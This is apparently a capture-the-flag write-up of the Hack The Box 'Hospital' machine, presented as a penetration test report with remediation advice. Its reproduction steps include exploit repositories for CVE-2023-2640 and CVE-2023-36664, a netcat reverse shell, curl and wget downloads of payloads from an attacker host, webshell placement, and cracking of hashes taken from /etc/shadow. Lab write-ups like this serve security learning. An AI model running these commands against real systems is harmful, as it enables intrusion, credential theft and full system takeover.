HTB Hospital CTF Writeup

HTB Hospital CTF Writeup

This penetration testing report provides a detailed analysis of the security posture of HTB Hospital CTF IT infrastructure, highlighting various vulnerabilities identified during the assessment process. The findings within this document reveal critical security flaws ranging from file upload restrictions bypasses to privilege escalation and web server takeover, which could potentially allow attackers to compromise patient data and disrupt operations.

HTB Hospital CTF banner
Fig. 01: HTB Hospital CTF banner

Executive Summary

Overview

This report details the findings from a comprehensive penetration test conducted on the IT infrastructure of HTB Hospital CTF. The test targeted a range of systems and services to identify vulnerabilities that could be exploited by malicious actors. Significant security flaws were discovered across various components, including web servers, database servers, and system configurations.

Key Findings

  1. Upload File Restriction Bypass (Severity: Elevated): A file extension bypass vulnerability was identified on a webserver, allowing the upload of potentially malicious PHP shells. This could enable unauthorized system command execution.
  2. Hardcoded Database Credentials (Severity: Elevated): The HTB Hospital CTF database server was found to use hardcoded credentials within web application configuration files, posing a risk of unauthorized data access.
  3. Weak Password Policy (Severity: Elevated): Password hashes for administrative accounts were cracked using common password recovery tools, indicating a weak password policy.
  4. Outdated Ubuntu Version Exploitation (Severity: High): An outdated Ubuntu server was vulnerable to a known privilege escalation exploit, potentially allowing attackers to gain root access.
  5. Lateral Movement via Password Cracking (Severity: Elevated): Further to gaining initial access, lateral movement was possible within the network by cracking additional user passwords.
  6. GhostScript Command Injection (Severity: High): A command injection vulnerability in GhostScript was exploited to achieve remote command execution, highlighting the risk of using outdated software.
  7. Web Server Takeover (Severity: Extreme): It was possible to escalate privileges and execute commands as the system administrator via a compromised web server, leading to complete system takeover.

Recommendations

  1. Implement robust input validation to prevent upload of malicious files, even when disguised with alternative extensions
  2. Remove hardcoded credentials and implement secure credential storage mechanisms alongside regular audits to ensure credentials are not exposed.
  3. Enforce a strong password policy with complexity requirements and regular changes to prevent password cracking.
  4. Regularly update systems and software to mitigate known vulnerabilities and reduce the risk of exploitation.
  5. Use network segmentation and monitoring to detect and prevent lateral movement within the network.
  6. Regularly update all software components and apply security patches promptly, particularly for critical components like GhostScript.
  7. Restrict file write permissions on critical directories and implement application whitelisting to prevent unauthorized software execution.

Summary

The penetration test revealed multiple critical vulnerabilities that could be exploited to gain unauthorized access, escalate privileges, and compromise patient data integrity and confidentiality. Immediate attention to the outlined recommendations is crucial to enhance the security posture of the HTB Hospital CTF IT infrastructure and protect against potential cyber threats.

Initial Target - 10.10.11.241

Service Enumeration

IP AddressTCP Ports Open
10.10.11.24122, 53, 88, 135, 139, 389, 443, 445, 464, 593, 636, 1801, 2103, 2105, 2107, 2179, 3268, 3269, 3389, 5985, 6404, 6406, 6407, 6409, 6616, 6631, 6647, 8080, 9389

BS01: Initial Access - Upload File Restriction via Extension Bypass

Explanation: The web server operating on port 8080 serves an important function within the HTB Hospital CTF IT infrastructure, facilitating the upload of medical records by authenticated users. This feature, while essential for operational efficiency, introduces significant security risks if not properly managed. During testing, it was discovered that the server's file extension filtering mechanism — which is intended to prevent the upload of executable files (like those ending in .php) — could be bypassed.

This bypass was achieved by renaming the file with an unconventional extension that the server does not explicitly block but still interprets as executable (e.g., .phar). Such a vulnerability allows an attacker to upload a malicious PHP shell, thereby gaining the ability to execute arbitrary system commands on the server, which can lead to further exploitation such as data theft, system compromise, and a deeper network penetration.

Severity: The severity of this vulnerability is rated as elevated due to the significant potential impact on the HTB Hospital CTF operations and data security. By exploiting this flaw, a malicious actor can gain the ability to execute arbitrary code on the web server. This not only compromises the server itself but also provides a foothold from which further penetration into the network can be attempted.

Recommendation: Adopt a whitelist approach for file extensions and MIME types that are allowed to be uploaded. This method is more secure than a blacklist approach, as it only permits known, safe file types. Also, implement server-side checks to verify the actual content of the files, regardless of the file extension.

Steps to Reproduce the Attack:

  1. Create an account at http://hospital.htb:8080.

  2. Log in to your account.

  3. Download this php webshell and save it to shell.phar

  4. Upload the shell and access it at http://hospital.htb:8080/uploads/shell.phar

Authenticated dashboard for hospital.htb
Fig. 02: Dashboard after being authenticated on hospital.htb:8080
Upload shell request proxied through burpsuite
Fig. 03: Upload request proxied through burpsuite
Successful remote command execution via php webshell
Fig. 04: Successful remote code execution via php webshell

BS02: Hardcoded Database Credentials

Explanation: The discovery of hardcoded credentials within the configuration file (/var/www/html/config.php) of the MariaDB database server located on a Linux instance is a security flaw. Hardcoding credentials, especially in a publicly accessible or easily discoverable file, poses a severe risk as it simplifies unauthorized access for any attacker who can read the file.

This vulnerability allows attackers not only to access the database with the privileges of the hardcoded user (often a high-privilege account like root) but also to potentially retrieve, modify, or destroy sensitive data. In this case, the exposure of such credentials could lead to unauthorized access to sensitive user information stored in the database, including usernames and password hashes, and might further facilitate more damaging attacks, such as data breaches or identity theft.

Severity: The severity is classified as elevated due to the direct risk of data exposure and potential data integrity violations. Access to a database, especially with administrative credentials, can compromise all data managed by the database.

Recommendation: Refactor the application code to remove hardcoded credentials from files that could be exposed to unauthorized users. Instead, utilize environment variables or secure vault solutions to manage credentials securely. Also, restrict access to configuration files to only those users and applications that absolutely require it. Use file system permissions and other access control mechanisms to enforce this policy.

Steps to Reproduce:

  1. Read the contents of config file: cat /var/www/html/config.php

  2. Use the credentials to log in to the database: mysql -u root -p;

  3. Use the hospital database: use hospital

  4. Dump the users table: select * from users;

Hardcoded database credentials
Fig. 05: Hardcoded database credentials
Screenshot showcasing database enumeration, dumping the users table containing sensitive information.
Fig. 06: Database enumeration

BS03: Password Hash Cracking

Explanation: It was discovered that the password hash for the "admin" account was vulnerable to cracking using standard password recovery tools, such as John the Ripper. This vulnerability stems from the use of a weak password policy within the organization, which does not enforce the creation of robust, complex passwords.

The ease with which the password was cracked indicates that simple or commonly used passwords are allowed, significantly increasing the risk of unauthorized access. Passwords that are susceptible to cracking expose the organization to a range of attacks, including unauthorized access, data theft, and further network compromise, especially when administrative accounts are involved.

Severity: The severity of this issue is rated as elevated due to the high potential for damage and exploitation. Admin accounts typically have extensive privileges and access across systems, making them prime targets for attackers. If an attacker successfully cracks an admin password, they could gain control over critical systems, manipulate sensitive information, or disrupt operational capabilities. In a healthcare environment, such access could jeopardize patient privacy, operational integrity, and compliance with regulatory standards.

Recommendation: Implement and enforce a password policy that requires the use of long, complex passwords that include a mix of letters, numbers, and special characters. This policy should apply to all users, especially to administrative accounts. Also, encourage the use of password managers to generate and store complex passwords, reducing the likelihood of password reuse or the use of simple passwords.

Steps to Reproduce:

  1. After logging in to the database, copy the password hash for the admin user and save it locally to your machine.

  2. Use john, a password recovery tool, to crack it: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

  3. After a few seconds, the password hash will be cracked.

BS04: Horizontal Privilege Escalation - Old and Vulnerable Ubuntu Version

Explanation: A security vulnerability stemming from an outdated and unpatched Ubuntu operating system was found during the engagement. Specifically, the system is running a version of the Ubuntu kernel that includes flawed implementations of the overlayfs filesystem.

According to the proof of concept (PoC) provided on GitHub, these flaws allow unprivileged users to manipulate extended file attributes in a manner that bypasses standard permission checks. By setting privileged extended attributes on files within an overlayfs mount, these attributes are improperly propagated to the upper files, potentially allowing elevation of privileges to root. This type of vulnerability is particularly concerning as it provides a method for an attacker with initial low-level access to escalate their privileges to the highest level, compromising the entire system.

Severity: This vulnerability is rated as high severity due to its potential to allow complete control over the affected system by elevating the attacker's privileges to root. Once root access is obtained, an attacker can execute any commands, alter any files, install persistent malware, and manipulate system settings or security controls.

Recommendation: Immediately update the affected Ubuntu systems to the latest version that includes patches for known vulnerabilities, particularly those affecting the kernel and overlayfs. Also, establish a routine process for checking and installing system updates to ensure security patches are applied promptly.

Steps to Reproduce:

  1. Download the PoC to your local attacking machine: git clone https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629.git && cd CVE-2023-2640-CVE-2023-32629
  2. Transfer the exploit.sh file to the victim machine. In this case, we'll be using a simple python http server: python3 -m http.server 80
  3. On the victim machine, use wget to download the exploit: wget http://YOUR-TUN0-IP-ADDRESS/exploit.sh
  4. Mark the exploit as executable and execute it: chmod +x exploit.sh && ./exploit.sh

BS05: Lateral Movement - Password Hash Cracking

Explanation: The security testing revealed a critical vulnerability where the password hash for a user named "drwilliams" was susceptible to cracking, following an initial privilege escalation (as detailed in BS04). The /etc/shadow file, which is accessible only with root privileges and contains password hashes for all system users, was exploited to obtain "drwilliams'" hash.

The ease of cracking this hash indicates that the password was not sufficiently complex or secure, highlighting a systemic issue with password policies within the organization. This vulnerability is particularly severe because it allows attackers who have gained initial foothold to move laterally within the network, accessing other systems and escalating their privileges by impersonating legitimate users.

Severity: This vulnerability is rated as elevated due to the potential for significant internal network compromise. Lateral movement within the network can lead to broader access to sensitive systems and data, further exploitation of system vulnerabilities, and potential establishment of persistent threats within the network. Given the sensitive nature of medical environments, such access could result in significant risks to patient data privacy and institutional data security.

Recommendation: Implement and enforce a strong password policy that requires the use of passwords that are long, complex, and include a mix of characters (uppercase, lowercase, numbers, and symbols).

Steps to Reproduce:

  1. Exploit BS04 in order to get root access to the target machine.

  2. Read the contents of /etc/shadow: cat /etc/shadow

  3. Copy the password hash for "drwilliams". In this case, $6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/, and save it to "drwilliams.hash" on your attacking machine.

  4. Use hashcat with the widely available word-list "rockyou.txt" to crack the hash: hashcat drwilliams.hash /usr/share/wordlists/rockyou.txt

/etc/shadow file exposure,
Fig. 07: Shadow file exposure
Fig. 08: Cracked password hash for "drwilliams" user

BS06: Horizontal Privilege Escalation - GhostScript Command Injection

Explanation: This security issue involves exploiting a critical vulnerability in the GhostScript software, identified as CVE-2023-36664, which is used within the hospital's IT environment for handling 3D printer design files in the .eps format. The vulnerability was discovered during an analysis of inter-departmental communications accessed via the compromised email account of "drwilliams." An email from "drbrown" revealed that they routinely receive .eps files from "drwilliams" for printing purposes. By crafting a malicious .eps file that exploits this vulnerability, an attacker can execute arbitrary commands remotely on the system where the file is processed, under the privileges of the user processing the file—in this case, "drbrown."

Severity: The severity of this vulnerability is rated as high due to its potential to facilitate unauthorized command execution, leading to system compromise. This exploit provides a pathway for attackers to gain access to privileged user accounts and execute commands, which could be used to further compromise the hospital's network, access sensitive data, or disrupt critical operations. The widespread use of GhostScript in various applications increases the likelihood and potential impact of this vulnerability being exploited.

Recommendation: Immediately update GhostScript to the latest version that addresses CVE-2023-36664. Regularly apply security patches to all software to protect against known vulnerabilities.

Steps to Reproduce:

  1. Download this PoC exploit: git clone https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection.git

  2. Download this repository containing static binaries. We'll need to upload a netcat static binary compiled for windows in order to get a reverse shell connection: git clone https://github.com/andrew-d/static-binaries.git

  3. Enter the static binaries for windows folder: cd static-binaries/binaries/windows/x86

  4. Host a simple web server with python: python3 -m http.server 80

  5. With other terminal, join the CVE folder: cd CVE-2023-36664-Ghostscript-command-injection

  6. Create a malicious eps file to make the target machine connect back to our attacking machine and download the static binary for netcat: python3 CVE_2023_36664_exploit.py -i -f file.eps -p "curl http://YOUR-TUN0-IP-ADDRESS/ncat.exe -o nc.exe"

  7. Send a reply to [email protected] with the malicious eps file attached using the roundcube instance at https://hospital.htb.

  8. Wait a few seconds, and you'll notice that the target machine indeed made a request to the python web server, requesting the netcat binary. By this time, a "nc.exe" file should have been created in the target machine. Now, we'll proceed with the reverse shell connection.

  9. Generate another malicious eps file, this time embedding a reverse shell payload: python3 CVE_2023_36664_exploit.py -g -x eps -p "nc.exe -e cmd.exe YOUR-TUN0-IP-ADDRESS 1337"

  10. Open up the specified port in the payload to receive the connection: nc -lvnp 1337

  11. Repeat step 7, but this time you'll have to attach the "malicious.eps" file that was created on step 9.

  12. After a few seconds, you should receive a connection back.

Generating a malicious eps file to exploit a GhostScript vulnerability
Fig. 09: Generating a malicious .eps file to exploit CVE-2023-36664
Fig. 10: Attaching the malicious file in a reply to "drbrown"
Fig. 11: Receiving a reverse shell connection from "drbrown"

BS07: Vertical Privilege Escalation - Web Server Takeover

Explanation: The attacker, leveraging the permissions of "drbrown", could be able to upload and execute a malicious PHP file within the web server's root directory, C:\xampp\htdocs. The severity of this issue is compounded by the fact that the web server process runs under the highly privileged NT AUTHORITY\SYSTEM account, which has administrative rights on the Windows operating system.

This configuration flaw allows any code executed through the web server to inherit these high privileges. By inserting a malicious PHP script into the web server directory, an attacker can execute arbitrary system commands with the highest possible privileges, effectively taking full control over the server.

Severity: The severity of this vulnerability is rated as extreme due to the direct and total control it grants an attacker over the affected system. This level of access can lead to a wide range of malicious activities, including but not limited to data theft, installation of ransomware, creation of backdoors, lateral movement across the network, and disruption of critical operational systems.

Recommendation: Ensure that all service accounts, particularly those associated with web servers, operate under the principle of least privilege. Avoid running services as NT AUTHORITY\SYSTEM unless absolutely necessary. Also, implement strict access controls on web server directories. Only allow write access to users who absolutely need it and monitor these directories for unauthorized changes.

Steps to Reproduce:

  1. We'll use the webshell discussed in the topic BS01, item 3. Fire up a simple python web server at the same location as the webshell file in your system: python3 -m http.server 80

  2. Head to C:\xampp\htdocs in the target machine: cd C:\xampp\htdocs

  3. Download the webshell: curl http://YOUR-TUN0-IP-ADDRESS/powny.php -o powny.php

  4. Access the webshell with your browser at https://hospital.htb/powny.php.

Successful vertical privilege escalation via php shell upload to a webserver running as NT Authority System
Fig. 12: Remote Command Execution as NT Authority System

Conclusion – HTB Hospital CTF

We hope you have found our content on HTB Hospital CTF useful and invite you to explore more of our website to discover other interesting topics we cover. From cybersecurity to programming, we strive to provide our readers with the latest and most relevant information that can help them stay informed and ahead of the curve. We are committed to providing the best user experience to you and are open to feedback and suggestions through our contact form. Thank you for choosing Behind Security, we hope to see you again soon! 

Behind Security main logo, cropped.

BEHIND SECURITY

Behind Security is an online platform dedicated to providing informative articles on cybersecurity, privacy, and programming.

Scroll to Top